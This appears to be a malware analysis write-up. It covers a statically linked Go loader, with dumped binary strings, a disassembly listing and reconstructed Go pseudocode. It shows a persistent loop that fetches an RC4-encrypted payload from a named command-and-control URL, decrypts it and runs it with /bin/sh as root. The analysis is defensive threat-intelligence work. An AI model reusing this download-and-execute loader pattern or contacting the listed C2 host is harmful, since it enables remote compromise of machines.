tls: server changed cipher suite after a HelloRetryRequestcrypto/elliptic: ScalarMult was called on an invalid pointcrypto/ecdh: internal error: converting the wrong key typecrypto/ecdh: bad X25519 remote ECDH input: low order pointhttp2: Transport received Server's graceful shutdown GOAWAYRoundTripper returned a response & error; ignoring responseunexpected malloc header in delayed zeroing of large objectruntime: mmap: too much locked memory (check 'ulimit -l').
tls: server resumed a session with a different cipher suitetls: server selected TLS 1.3 using the legacy version fieldtls: server sent an unnecessary HelloRetryRequest key_sharereflect: reflect.Value.Elem on an invalid notinheap pointersync/atomic: store of inconsistently typed value into Valuebufio.Scanner: SplitFunc returns advance count beyond inputcrypto/ecdh: private key and public key curves do not match (Client.Timeout or context cancellation while reading body)malformed response from server: missing status pseudo headernet/http: server response headers exceeded %d bytes; abortedmanual span allocation called with non-manually-managed typeaddr range base and limit are not in the same memory segmentruntime: failed to configure profiling timer; timer_settime(tls: no supported versions satisfy MinVersion and MaxVersiontls: initial handshake had non-empty renegotiation extensiontls: server resumed a session with a different EMS extensionreflect: call of reflect.Value.Len on ptr to non-array Valueexec: Cmd started a Process but leaked without a call to Waitruntime: may need to increase max user processes (ulimit -u)
abiRegArgsType needs GC Prog, update methodValueCallFrameObjstls: unsupported certificate: private key is %T, expected *%Ttls: server sent a ServerHello extension forbidden in TLS 1.3go package net: GODEBUG setting forcing use of Go's resolver
x509: failed to parse URI constraint %q: cannot be IP addresshttp2: request header list larger than peer's advertised limittrying to put back buffer of the wrong size in the copyBufPoolfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limiterEvent.stop: found wrong event in p's limiter event slotslice length too short to convert to array or pointer to arrayruntime: internal error: misuse of lockOSThread/unlockOSThreadtls: server did not send a quic_transport_parameters extensionreflect: reflect.Value.Pointer on an invalid notinheap pointerx509: certificate is not authorized to sign other certificatesURI with empty host (%q) cannot be matched against constraints0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZinternal error: exactly one of res or err should be set; nil=%vmalformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`ecdsa: internal error: P256OrdInverse produced an invalid valuecryptobyte: BuilderContinuation reallocated a fixed-size bufferruntime.SetFinalizer: first argument was allocated into an arenaABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c2964fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5net/http: Transport.DialTLS or DialTLSContext returned (nil, nil)user arena chunk size is not a multiple of the physical page sizeruntime.SetFinalizer: pointer not at beginning of allocated blocktls: internal error: attempted to read record with QUIC transporttls: server selected an invalid version after a HelloRetryRequestx509: inner and outer signature algorithm identifiers don't matchx509: issuer name does not match subject from issuing certificatecryptobyte: pending child length %d exceeds %d-byte length prefixnistec: internal error: p224Table called with out-of-bounds valuenistec: internal error: p384Table called with out-of-bounds valuenistec: internal error: p521Table called with out-of-bounds valueruntime: unexpected error while checking standard file descriptor tls: certificate private key (%T) does not implement crypto.Signertls: server sent an unexpected quic_transport_parameters extensionx509: certificate is not valid for any names, but wanted to match tls: server sent certificate containing RSA key larger than %d bitspadding bytes must all be zeros unless AllowIllegalWrites is enabledhttp2: Transport conn %p received error from processing frame %v: %vhttp2: Transport received unsolicited DATA frame; closing connectionhttp: message cannot contain multiple Content-Length headers; got %qAllThreadsSyscall6 results differ between threads; runtime corruptedtls: internal error: sending non-handshake message to QUIC transportreflect: reflect.Value.UnsafePointer on an invalid notinheap pointergo package net: cgo resolver not supported; using Go's DNS resolver
2695994666715063979466701508701963067355791626002630814351006629888126959946667150639794667015087019625940457807714424391721682722368061crypto/hmac: hash generation function does not produce unique valuesembedded IPv4 address must replace the final 2 fields of the addresshttp2: Transport closing idle conn %p (forSingleUse=%v, maxStream=%v)tls: peer doesn't support the certificate custom signature algorithmstls: handshake message of length %d bytes exceeds maximum of %d bytestoo many hex fields to fit an embedded IPv4 at the end of the addressedwards25519: internal error: setShortBytes called with a long stringgot %s for stream %d; expected CONTINUATION following %s for stream %dbytes.Buffer: UnreadByte: previous operation was not a successful readx509: certificate relies on legacy Common Name field, use SANs insteadexec: command with a non-nil Cancel was not created with CommandContexttls: peer doesn't support any of the certificate's signature algorithmsdynamic table size update MUST occur at the beginning of a header blocktoo many concurrent operations on a single file or socket (max 1048575)x509: issuer has name constraints but leaf doesn't have a SAN extensiontls: server's certificate contains an unsupported type of public key: %Tcrypto/ecdh: internal error: nistec ScalarBaseMult returned the identitytls: received unexpected handshake message of type %T when waiting for %Ttls: internal error: handshake returned an error but is marked successfulmalformed response from server: malformed non-numeric status pseudo headernet/http: server replied with more than declared Content-Length; truncatedtls: certificate RSA key size too small for supported signature algorithmsUnsolicited response received on idle HTTP channel starting with %q; err=%vtls: internal error: attempted to read record with pending application datatls: failed to send closeNotify alert (but connection was closed anyway): %wtls: server certificate contains incorrect key type for selected ciphersuitecrypto/tls: ExportKeyingMaterial is unavailable when renegotiation is enabledMapIter.Next called on an iterator that does not have an associated map Value115792089210356248762697446949407573530086143415290314195533631308867097853951115792089210356248762697446949407573529996955224135760342422259061068512044369x509: signature check attempts limit reached while verifying certificate chaincannot convert slice with length %y to array or pointer to array with length %xtls: client certificate private key of type %T does not implement crypto.Signerhttp: RoundTripper implementation (%T) returned a nil *Response with a nil errortls: either ServerName or InsecureSkipVerify must be specified in the tls.Configcrypto/rand: blocked for 60 seconds waiting to read random data from the kernel
x509: invalid signature: parent certificate cannot sign this kind of certificatecrypto/ecdh: internal error: nistec ScalarBaseMult failed for a fixed-size inputrefusing to use HTTP_PROXY value in CGI environment; see golang.org/s/cgihttpproxyx509: a root or intermediate certificate is not authorized to sign for this name: x509: issuer has name constraints but leaf contains unknown or unconstrained name: (possibly because of %q while trying to verify candidate authority certificate %q)tls: downgrade attempt detected, possibly due to a MitM attack or a broken middleboxx509: signature algorithm specifies an %s public key, but have public key of type %Treflect.Value.Interface: cannot return value obtained from unexported field or methodreflect: New of type that may not be allocated in heap (possibly undefined cgo C type)x509: a root or intermediate certificate is not authorized for an extended key usage: http2: server sent GOAWAY and closed the connection; LastStreamID=%v, ErrCode=%v, debug=%qtls: handshake hash for a client certificate requested after discarding the handshake buffertls: unsupported certificate: private key is *ed25519.PrivateKey, expected ed25519.PrivateKeyb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aefaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab73617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5fhttp: RoundTripper implementation (%T) returned a *Response with content length %d but a nil BodyNoClientCertRequestClientCertRequireAnyClientCertVerifyClientCertIfGivenRequireAndVerifyClientCertcipher: the nonce can't have zero length, or the security of the key will be immediately compromisedcgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.asn1: time did not serialize back to the original value and may be invalid: given %q, but serialized as %qhttp2: Transport: cannot retry err [%v] after Request.Body was written; define Request.GetBody to avoid this error39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319394020061963944792122790401001436138050797392704654466679469052796276593991132635693989563081522949135544336539426430051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f0000c6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66011839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650crypto/tls: ExportKeyingMaterial is unavailable when neither TLS 1.3 nor Extended Master Secret are negotiated; override with GODEBUG=tlsunsafeekm=16864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151686479766013060971498190079908139321726943530014330540939446345918554318339765539424505774633321719753296399637136332111386476861244038034037280889270700544900010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899"
00756ab6 6e 65 74 ds "net/http.(*persistConn).readLoop.func1"
2f 68 74
74 70 2e
00756add 6e 65 74 ds "net/http.(*persistConn).readLoopPeekFailLocked"
2f 68 74
74 70 2e
00756b0c 6e 65 74 ds "net/http.is408Message"
2f 68 74
74 70 2e
00756b22 6e 65 74 ds "net/http.(*persistConn).readLoopPeekFailLocke
2f 68 74
74 70 2e
00756b5e 6e 65 74 ds "net/http.(*persistConn).readResponse"
2f 68 74
74 70 2e
00756b83 6e 65 74 ds "net/http.(*Response).isProtocolSwitch"
2f 68 74
74 70 2e
00756ba9 6e 65 74 ds "net/http.isProtocolSwitchResponse"
2f 68 74
74 70 2e
00756bcb 6e 65 74 ds "net/http.newReadWriteCloserBody"
2f 68 74
74 70 2e
00756beb 6e 65 74 ds "net/http.(*readWriteCloserBody).Read"
2f 68 74
74 70 2e
00756c10 6e 65 74 ds "net/http.nothingWrittenError.Unwrap"
2f 68 74
74 70 2e
00756c34 6e 65 74 ds "net/http.(*persistConn).writeLoop"
2f 68 74
74 70 2e
00756c56 6e 65 74 ds "net/http.(*persistConn).waitForContinue"
2f 68 74
74 70 2e
00756c7e 6e 65 74 ds "net/http.(*persistConn).writeLoop.(*persistCo
2f 68 74
74 70 2e
00756cc5 6e 65 74 ds "net/http.(*persistConn).writeLoop.(*persistCo
2f 68 74
74 70 2e
00756d17 6e 65 74 ds "net/http.(*persistConn).writeLoop.deferwrap1"
2f 68 74
74 70 2e
00756d44 6e 65 74 ds "net/http.(*persistConn).wroteRequest"
2f 68 74
74 70 2e
00756d69 6e 65 74 ds "net/http.(*persistConn).wroteRequest.deferwra
2f 68 74
74 70 2e
00756d99 6e 65 74 ds "net/http.(*httpError).Error"
2f 68 74
74 70 2e
00756db5 6e 65 74 ds "net/http.(*httpError).Timeout"
2f 68 74
74 70 2e
00756dd3 6e 65 74 ds "net/http.(*httpError).Temporary"
2f 68 74
74 70 2e
00756df3 6e 65 74 ds "net/http.nop"
2f 68 74
74 70 2e
00756e00 6e 65 74 ds "net/http.(*persistConn).roundTrip"
2f 68 74
74 70 2e
00756e22 6e 65 74 ds "net/http.(*transportRequest).extraHeaders"
2f 68 74
74 70 2e
00756e4c 6e 65 74 ds "net/http.(*Request).ProtoAtLeast"
2f 68 74
74 70 2e
00756e6d 6e 65 74 ds "net/http.(*persistConn).roundTrip.deferwrap2"
2f 68 74
74 70 2e
00756e9a 6e 65 74 ds "net/http.(*persistConn).roundTrip.func1"
2f 68 74
74 70 2e
00756ec2 6e 65 74 ds "net/http.(*persistConn).roundTrip.deferwrap1"
2f 68 74
74 70 2e
00756eef 6e 65 74 ds "net/http.(*persistConn).markReused"
2f 68 74
74 70 2e
00756f12 6e 65 74 ds "net/http.(*persistConn).close"
2f 68 74
74 70 2e
00756f30 6e 65 74 ds "net/http.(*persistConn).close.deferwrap1"
2f 68 74
74 70 2e
00756f59 6e 65 74 ds "net/http.(*persistConn).closeLocked"
2f 68 74
74 70 2e
00756f7d 6e 65 74 ds "net/http.idnaASCIIFromURL"
2f 68 74
74 70 2e
00756f97 6e 65 74 ds "net/http.canonicalAddr"
2f 68 74
74 70 2e
00756fae 6e 65 74 ds "net/http.(*bodyEOFSignal).Read"
2f 68 74
74 70 2e
00756fcd 6e 65 74 ds "net/http.(*bodyEOFSignal).condfn"
2f 68 74
74 70 2e
00756fee 6e 65 74 ds "net/http.(*bodyEOFSignal).Read.deferwrap1"
2f 68 74
74 70 2e
00757018 6e 65 74 ds "net/http.(*bodyEOFSignal).Close"
2f 68 74
74 70 2e
00757038 6e 65 74 ds "net/http.(*bodyEOFSignal).Close.deferwrap1"
2f 68 74
74 70 2e
00757063 6e 65 74 ds "net/http.(*gzipReader).Read"
2f 68 74
74 70 2e
0075707f 6e 65 74 ds "net/http.(*gzipReader).Close"
2f 68 74
74 70 2e
0075709c 6e 65 74 ds "net/http.tlsHandshakeTimeoutError.Timeout"
2f 68 74
74 70 2e
007570c6 6e 65 74 ds "net/http.tlsHandshakeTimeoutError.Temporary"
2f 68 74
74 70 2e
007570f2 6e 65 74 ds "net/http.tlsHandshakeTimeoutError.Error"
2f 68 74
74 70 2e
0075711a 6e 65 74 ds "net/http.fakeLocker.Lock"
2f 68 74
74 70 2e
00757133 6e 65 74 ds "net/http.fakeLocker.Unlock"
2f 68 74
74 70 2e
0075714e 6e 65 74 ds "net/http.(*connLRU).add"
2f 68 74
74 70 2e
00757166 63 6f 6e ds "container/list.New"
74 61 69
6e 65 72
00757179 63 6f 6e ds "container/list.(*List).Init"
74 61 69
6e 65 72
00757195 63 6f 6e ds "container/list.(*List).PushFront"
74 61 69
6e 65 72
007571b6 63 6f 6e ds "container/list.(*List).insertValue"
74 61 69
6e 65 72
007571d9 63 6f 6e ds "container/list.(*List).lazyInit"
74 61 69
6e 65 72
007571f9 63 6f 6e ds "container/list.(*List).insert"
74 61 69
6e 65 72
00757217 6e 65 74 ds "net/http.envProxyFunc.func1"
2f 68 74
74 70 2e
00757233 76 65 6e ds "vendor/golang.org/x/net/http/httpproxy.(*Conf
64 6f 72
2f 67 6f
0075726e 6e 65 74 ds "net/http.NewRequestWithContext.func4"
2f 68 74
74 70 2e
00757293 6e 65 74 ds "net/http.(*http2ClientConn).RoundTrip.func3"
2f 68 74
74 70 2e
007572bf 6e 65 74 ds "net/http.(*http2Framer).readMetaFrame.func2"
2f 68 74
74 70 2e
007572eb 6e 65 74 ds "net/http.(*Transport).getConn.func2"
2f 68 74
74 70 2e
0075730f 6e 65 74 ds "net/http.(*http2Framer).logWrite.http2NewFram
2f 68 74
74 70 2e
00757345 6e 65 74 ds "net/http.(*http2Transport).newClientConn.http
2f 68 74
74 70 2e
00757383 74 79 70 ds "type:.eq.net/http.http2PriorityParam"
65 3a 2e
65 71 2e
007573a8 74 79 70 ds "type:.eq.net/http.http2FrameHeader"
65 3a 2e
65 71 2e
007573cb 74 79 70 ds "type:.eq.net/http.http2Setting"
65 3a 2e
65 71 2e
007573ea 74 79 70 ds "type:.eq.net/http.segment"
65 3a 2e
65 71 2e
00757404 74 79 70 ds "type:.eq.net/http.http2PingFrame"
65 3a 2e
65 71 2e
00757425 74 79 70 ds "type:.eq.net/http.http2PriorityFrame"
65 3a 2e
65 71 2e
0075744a 74 79 70 ds "type:.eq.net/http.http2RSTStreamFrame"
65 3a 2e
65 71 2e
00757470 74 79 70 ds "type:.eq.net/http.http2WindowUpdateFrame"
65 3a 2e
65 71 2e
00757499 74 79 70 ds "type:.eq.net/http.http2StreamError"
65 3a 2e
65 71 2e
007574bc 74 79 70 ds "type:.eq.struct { io.Reader; io.WriterTo }"
65 3a 2e
65 71 2e
The above is a statically linked Go binary with :
net/http client code
http2 support
golang.org/x/net/http/httpproxy (httpproxy.(*Config))
crypto/TLS, x509, chacha20poly1305, etc.
It embeds:
http://worker.dosmadeeasy[.]ltd:8080/3333.txt -- payload instructions come from here
System CA paths:
• /etc/ssl/certs/ca-certificates.crt
• /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem
the binary is using the system trust store, not its own pinned cert bundle.
the net/http symbol list above (e.g. net/http.(*persistConn).readLoop, RoundTrip, (*Transport).getConn.func2, http2ClientConn, etc.) tells us:
o This thing maintains persistent HTTP(S) connections.
o It understands HTTP/2.
o It uses Go’s standard Transport machinery – i.e., it understands proxies, timeouts, etc.
main:main
00758f33 6d 61 69 ds "main.rc4Decrypt"
6e 2e 72
63 34 44
s_n.httpExec_00758f46 XREF[0,2]: 00758f15(j), 00758f19(j)
s_tpExec_00758f4a
00758f43 6d 61 69 ds "main.httpExec"
6e 2e 68
74 74 70
00758f51 6e 65 74 ds "net/http.Get"
2f 68 74
74 70 2e
00758f5e 6d 61 69 ds "main.createKeyFromString"
6e 2e 63
72 65 61
s_ain.httpExec.deferwrap1_00758f78 XREF[0,3]: 00758f0f(j), 00758f11(j),
s_c.deferwrap1_00758f83 00758f1b(j)
s_wrap1_00758f8a
00758f77 6d 61 69 ds "main.httpExec.deferwrap1"
6e 2e 68
74 74 70
s_n.linux_exec_00758f93 XREF[0,2]: 00758f22(j), 00758f24(j)
s__exec_00758f9a
00758f90 6d 61 69 ds "main.linux_exec"
6e 2e 6c
69 6e 75
s_in.main_00758fa2 XREF[0,1]: 00758f2d(j)
00758fa0 6d 61 69 ds "main.main"
6e 2e 6d
61 69 6e 00
00758faa 74 69 6d ds "time.After"
65 2e 41
66 74 65
00758fb5 6d 61 69 ds "main.loopDownloadExec"
6e 2e 6c
6f 6f 70
00758fcc 00 00 ADD byte ptr [RAX],AL
00758fce 00 00 ADD byte ptr [RAX],AL
00758fd0 00 00 ADD byte ptr [RAX],AL
00758fd2 00 00 ADD byte ptr [RAX],AL
00758fd4 00 00 ADD byte ptr [RAX],AL
00758fd6 00 00 ADD byte ptr [RAX],AL
00758fd8 00 00 ADD byte ptr [RAX],AL
00758fda 00 00 ADD byte ptr [RAX],AL
00758fdc 00 00 ADD byte ptr [RAX],AL
00758fde 00 00 ADD byte ptr [RAX],AL
00758fe0 2d 00 00 SUB EAX,0x0
00 00
00758fe5 00 00 ADD byte ptr [RAX],AL
00758fe7 00 2d 00 ADD byte ptr [DAT_3d758fed],CH
00 00 3d
00758fed 00 00 ADD byte ptr [RAX],AL
00758fef 00 69 00 ADD byte ptr [RCX],CH
00758ff2 00 00 ADD byte ptr [RAX],AL
00758ff4 99 CDQ
00758ff5 00 00 ADD byte ptr [RAX],AL
00758ff7 00 2d 00 ADD byte ptr [DAT_ffffffffff758ffd],CH
00 00 ff
00758ffd ff ?? FFh
00758ffe ff ?? FFh
00758fff ff ?? FFh
00759000 ff ?? FFh
00759001 ff ?? FFh
00759002 ff ?? FFh
00759003 ff c8 DEC EAX
00759005 00 00 ADD byte ptr [RAX],AL
00759007 00 2d 00 ADD byte ptr [DAT_0175900d],CH
00 00 01
0075900d 01 00 ADD dword ptr [RAX],EAX
0075900f 00 2d 00 ADD byte ptr [DAT_03759015],CH
00 00 03
00759015 27 ?? 27h '
00759016 00 00 ADD byte ptr [RAX],AL
00759018 ff ?? FFh
00759019 ff ?? FFh
0075901a ff ?? FFh
0075901b ff 3c 01 INC dword ptr [RCX + RAX*0x1]
0075901e 00 00 ADD byte ptr [RAX],AL
00759020 ed IN EAX,DX
00759021 20 00 AND byte ptr [RAX],AL
00759023 00 ff ADD BH,BH
00759025 ff ?? FFh
00759026 ff ?? FFh
00759027 ff 75 01 PUSH qword ptr [RBP + 0x1]
0075902a 00 00 ADD byte ptr [RAX],AL
0075902c ad LODSD RSI
0075902d 01 00 ADD dword ptr [RAX],EAX
0075902f 00 e6 ADD DH,AH
00759031 01 00 ADD dword ptr [RAX],EAX
00759033 00 1d 02 ADD byte ptr [DAT_5475903b],BL
00 00 54
00759039 02 00 ADD AL,byte ptr [RAX]
0075903b 00 8b 02 ADD byte ptr [RBX + 0x2d000002],CL
00 00 2d
00759041 00 00 ADD byte ptr [RAX],AL
00759043 00 ff ADD BH,BH
00759045 ff ?? FFh
00759046 ff ?? FFh
00759047 ff c6 INC ESI
00759049 02 00 ADD AL,byte ptr [RAX]
0075904b 00 08 ADD byte ptr [RAX],CL
0075904d 03 00 ADD EAX,dword ptr [RAX]
0075904f 00 2d 00 ADD byte ptr [DAT_4b759055],CH
00 00 4b
00759055 03 00 ADD EAX,dword ptr [RAX]
00759057 00 83 03 ADD byte ptr [RBX + 0x2d000003],AL
00 00 2d
0075905d 00 00 ADD byte ptr [RAX],AL
0075905f 00 ff ADD BH,BH
00759061 ff ?? FFh
00759062 ff ?? FFh
00759063 ff 8f 08 DEC dword ptr [RDI + -0xfffff8]
00 00 ff
00759069 ff ?? FFh
0075906a ff ?? FFh
0075906b ff c0 INC EAX
0075906d 03 00 ADD EAX,dword ptr [RAX]
0075906f 00 ff ADD BH,BH
00759071 ff ?? FFh
00759072 ff ?? FFh
00759073 ff ?? FFh
00759074 e9 03 00 JMP LAB_fffffffff675907c
00 f6
00759079 05 00 00 ADD EAX,0x0
00 00
0075907e 00 00 ADD byte ptr [RAX],AL
00759080 11 0a ADC dword ptr [RDX],ECX
00759082 00 00 ADD byte ptr [RAX],AL
00759084 c3 RET
00759085 0a 00 OR AL,byte ptr [RAX]
00759087 00 48 0e ADD byte ptr [RAX + 0xe],CL
0075908a 00 00 ADD byte ptr [RAX],AL
0075908c 19 0b SBB dword ptr [RBX],ECX
0075908e 00 00 ADD byte ptr [RAX],AL
00759090 be 09 00 MOV ESI,0x9d000009
00 9d
00759095 0e ?? 0Eh
00759096 00 00 ADD byte ptr [RAX],AL
00759098 76 0e JBE LAB_007590a8
0075909a 00 00 ADD byte ptr [RAX],AL
0075909c ee OUT DX,AL
0075909d 0f 00 00 SLDT dword ptr [RAX]
007590a0 6f OUTSD DX,RSI
007590a1 05 00 00 ADD EAX,0x11a50000
a5 11
007590a6 00 00 ADD byte ptr [RAX],AL
LAB_007590a8 XREF[1]: 00759098(j)
007590a8 1a 0f SBB CL,byte ptr [RDI]
007590aa 00 00 ADD byte ptr [RAX],AL
007590ac c8 00 00 00 ENTER 0x0,0x0
007590b0 ef OUT DX,EAX
007590b1 10 00 ADC byte ptr [RAX],AL
007590b3 00 43 0f ADD byte ptr [RBX + 0xf],AL
007590b6 00 00 ADD byte ptr [RAX],AL
007590b8 12 04 00 ADC AL,byte ptr [RAX + RAX*0x1]
007590bb 00 ff ADD BH,BH
007590bd ff ?? FFh
007590be ff ?? FFh
007590bf ff 98 05 CALLF [RAX + -0x38fffffb]
00 00 c7
007590c5 10 00 ADC byte ptr [RAX],AL
007590c7 00 2e ADD byte ptr [RSI],CH
007590c9 07 ?? 07h
007590ca 00 00 ADD byte ptr [RAX],AL
007590cc f7 12 NOT dword ptr [RDX]
007590ce 00 00 ADD byte ptr [RAX],AL
007590d0 38 08 CMP byte ptr [RAX],CL
007590d2 00 00 ADD byte ptr [RAX],AL
007590d4 ff ?? FFh
007590d5 ff ?? FFh
007590d6 ff ?? FFh
007590d7 ff ?? FFh
007590d8 ff ?? FFh
007590d9 ff ?? FFh
007590da ff ?? FFh
007590db ff 19 CALLF [RCX]
007590dd 10 00 ADC byte ptr [RAX],AL
007590df 00 06 ADD byte ptr [RSI],AL
007590e1 07 ?? 07h
007590e2 00 00 ADD byte ptr [RAX],AL
007590e4 3d 04 00 CMP EAX,0xff000004
00 ff
007590e9 ff ?? FFh
007590ea ff ?? FFh
007590eb ff ?? FFh
007590ec eb 0d JMP LAB_007590fb
007590ee 00 00 ADD byte ptr [RAX],AL
007590f0 c6 ?? C6h
007590f1 16 ?? 16h
007590f2 00 00 ADD byte ptr [RAX],AL
007590f4 f6 16 NOT byte ptr [RSI]
007590f6 00 00 ADD byte ptr [RAX],AL
007590f8 67 04 00 ADD AL,0x0
Reconstructed:
func httpExec(url string) ([]byte, error) {
resp, err := http.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
data, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
return data, nil
}
func createKeyFromString(s string) []byte {
// Could be: return []byte(s)
// Or: return sha256.Sum256([]byte(s))[:]
// You’ll see which in Ghidra/ghidra-go.
}
func rc4Decrypt(key, cipher []byte) []byte {
// RC4(key).XOR(cipher)
}
func linux_exec(cmd string) {
// Something like:
// exec.Command("/bin/sh", "-c", cmd).Run()
}
func loopDownloadExec() {
key := createKeyFromString(hardCodedString) // e.g., passphrase embedded in .rodata
for {
payload, err := httpExec(hardCodedURL) // e.g., http://worker.dosmadeeasy.ltd:8080/3333.txt
if err == nil && len(payload) > 0 {
decrypted := rc4Decrypt(key, payload)
linux_exec(string(decrypted)) // run attacker-controlled shell script / commands
}
<-time.After(backoffInterval) // sleep N seconds/minutes
}
}
func main() {
loopDownloadExec()
}
main.rc4Decrypt
main.httpExec
net/http.Get
main.createKeyFromString
main.linux_exec
main.loopDownloadExec
time.After
main.main
The above is a loader call graph.
1. main.main
entry point.
2. main.loopDownloadExec
a loop that repeatedly downloads and executes whatever instruction is given.
3. main.httpExec + net/http.Get
wrapper around the standard Go HTTP client; does the following:
o Builds the URL (worker.dosmadeeasy[.]ltd:8080/3333.txt).
o Calls http.Get(...).
o Reads the body into memory and returns it.
4. main.createKeyFromString
derives a key from a string (a hard-coded passphrase or piece of config).
o In Go this is often “hash the string” or “use the string bytes directly” as an RC4 key.
5. main.rc4Decrypt
applies RC4 using that key on the downloaded blob.
o This is the config/payload decryptor.
6. main.linux_exec
executes the decrypted content on Linux.
o Typical patterns: exec.Command("/bin/sh", "-c", payload), or write payload to a file and execve it.
7. time.After
used to implement a delay between iterations (sleep / backoff).
Put together, the design screams:
“Persistent RC4-encrypted HTTP downloader/exec loop.”
Conclusion:
Go-based RC4 HTTP Loader
The attacker deployed a small Go binary implementing a persistent RC4-encrypted HTTP download/exec loop:
• main.main → entry point.
• main.loopDownloadExec → infinite loop that:
1. Calls main.httpExec to fetch a remote text/config from hxxp://worker.dosmadeeasy[.]ltd:8080/3333.txt via net/http.Get.
2. Derives an RC4 key via main.createKeyFromString from a hard-coded string embedded in the binary.
3. Decrypts the HTTP response via main.rc4Decrypt.
4. Passes the decrypted content to main.linux_exec, which executes it on the host (as root) using /bin/sh -c.
5. Sleeps via time.After() and repeats.
This design gives the actor a flexible control channel: they only need to update the contents of 3333.txt (which we see occurs on VirusTotal) on the C2 to change what runs on the host, without redeploying the loader binary.